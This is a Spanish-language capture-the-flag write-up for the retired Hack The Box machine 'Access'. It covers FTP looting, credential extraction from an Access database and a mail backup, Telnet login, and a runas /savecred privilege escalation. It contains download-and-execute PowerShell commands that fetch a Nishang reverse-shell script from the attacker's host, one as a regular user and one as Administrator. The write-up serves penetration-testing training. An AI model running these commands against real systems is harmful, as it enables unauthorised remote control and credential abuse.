Access Write-Up

Fecha de lanzamiento29 Sep 2018
EstadoRetirada
DificultadEasy
PlataformaWindows
IP10.10.10.98

Información de la máquina


RECONOCIMIENTO

Realizando un escaneo de puertos abiertos, observamos los siguientes puertos abiertos: 21,23 y 80.

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.10.98
nmap -sCV -p21,23,80 -oN targeted 10.10.10.98

Puerto 80 – HTTP

Accediendo al servidor web, únicamente tenemos una imagen. Nos la hemos descargado y no parece que tengamos información oculta en los metadatos de ella.

Si realizamos un ataque de descubrimiento de directorios, no encontramos nada interesante.

gobuster dir -u http://10.10.10.98 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --no-error -x asp,aspx,txt -b 400,404

Puerto 21 – FTP

Como podemos acceder de forma anónima, sin aportar credenciales válidas, vamos a descargarnos los dos archivos que se encuentran en el servidor FTP.

ftp 10.10.10.98
bin # Cambiar a modo binario para descarga de estos archivos
get <archivo>

En resumen tenemos dos archivos, un comprimido llamado Access Control.zip y un archivo de extension .mdb llamado backup.mde.

EXPLOTACIÓN

Comenzando con el archivo comprimido, si intentamos descomprimirlo vemos que necesitamos una contraseña para ello, cosa que desconocemos en este momento.

Antes de intentar romperlo mediante fuerza bruta, vamos a inspeccionar el otro archivo, el archivo backup.mde. Se trata de un archivo de Microsoft Access Database. Para abrir e inspeccionar este archivo vamos a usar unas herramientas de linea de comando llamadas mdbtools.

Primero listaremos las tablas de la base de datos, mediante mdb-tables.

Mediante la herramienta mdb-export vamos a poder sacar las columnas de las tablas junto a su data asociada. Como podemos ver en la siguiente imagen, si la tabla está vacía únicamente nos va a devolver los headers, sin data asociada.

Vamos a crearnos un pequeño script en bash, teniendo en cuenta que el diferenciador principal es que cuando exportamos los datos, si la tabla está vacía sin datos, el número de lineas que nos va a reportar es 1.

#!/bin/bash

tables=$(mdb-tables backup.mdb | tr ' ' '\n')

 for table in $tables;do
  nline=$(mdb-export backup.mdb $table | wc -l)
  if [ $nline -gt 1 ];then
    echo "$table: $nline --> Tiene contenido"
  fi
done

Como podemos ver, hemos reducido el scope, y ya solo tenemos un par de tablas que tienen contenido. Vamos a filtrar por aquellas que nos llamen la atención, que tengan nombres que puedan ser confidenciales o que puedan albergar información sensible, como por ejemplo auth_user. Vamos a exportarla, a ver que datos tiene:

Observamos tres usuarios con sus respectivas contraseñas. Vamos a guardarnos esta información en un archivo de texto, y vamos a probar con estas contraseñas para descomprimir el primer archivo que hemos intentado inspeccionar.

Vemos que con la contraseña del usuario Engineer, podemos descomprimir el archivo, y lo que obtenemos es un archivo con extensión .pst. Se trata de un tipo de archivo que representa una copia de seguridad de los datos del usuario de Outlook. Por ello nos hace pensar que, si obtenemos manera de visualizar los datos de este archivo, vamos a poder acceder a correos que podrían tener información relevante para nosotros.

Existen algunas herramientas de consola que nos facilitarían el abrir este tipo de archivos y ver su información, pero por agilizar el proceso vamos a usar un visor online en el siguiente enlace.

Si leemos la información del correo, se notifica que se ha cambiado la contraseña para el usuario security y nos están dando esa contraseña. Nos vamos a guardar estas credenciales porque nos van a ser útiles para seguir avanzando con la intrusión.

Puerto 23 – Telnet

Si intentamos iniciar una conexión a través del protocolo Telnet con la máquina víctima, nos piden unas credenciales. Si utilizamos las credenciales que acabamos de obtener a través del backup del correo, tenemos acceso a la máquina a través de Telnet.

Como no es una terminal muy estable, vamos a usar Nishang para entablarnos una conexión reversa y tener una terminal un poco más estable en nuestra manos.

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

Vamos a añadir una linea adicional al final del script, indicando datos de nuestra máquina local.

A continuación, servimos el archivo a través de un servidor web montado con Python y, usando la consola de Telnet , lo vamos a descargar y ejecutar directamente.

# Máquina Local

python3 -m http.server 80
rlwrap nc -lvnp 443

# Shell Telnet Víctima

powershell
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.10/PS.ps1')

Ya podemos acceder a la Flag del usuario y verla por pantalla.

ESCALADA DE PRIVILEGIOS

Si vamos al escritorio de Public, podemos ver que existe un archivo con extension .lnk, el cual a pesar de ser un acceso directo, mediante el comando type podemos ver información acerca de él.

Vemos en el output tanto runas como savecred. Si observamos en detalle, se menciona al usuario Administrador. Parece que se está usando la flag /savecred cuando se llama a runas para usar unas credenciales del usuario Administrador que deben estar cacheadas. Para confirmarlo, podemos usar el siguiente comando:

Vamos a usar estar credenciales almacenadas para, usando una aproximación similar a la anterior para upgradear la Shell, obtener una nueva terminal como usuario de máximos privilegios.

Primero, como antes, usaremos el mismo archivo de Nishang, lo serviremos de la misma manera y nos pondremos en escucha

python3 -m http.server
rlwrap nc -lvnp 443

A continuación, usaremos runas y las credenciales cacheadas para recibir una conexión reversa como el usuario Administrador.

runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.10/PS.ps1')"

Ya podemos acceder al directorio del usuario Administrador y ver la Flag correspondiente.

Jorge Escrito por: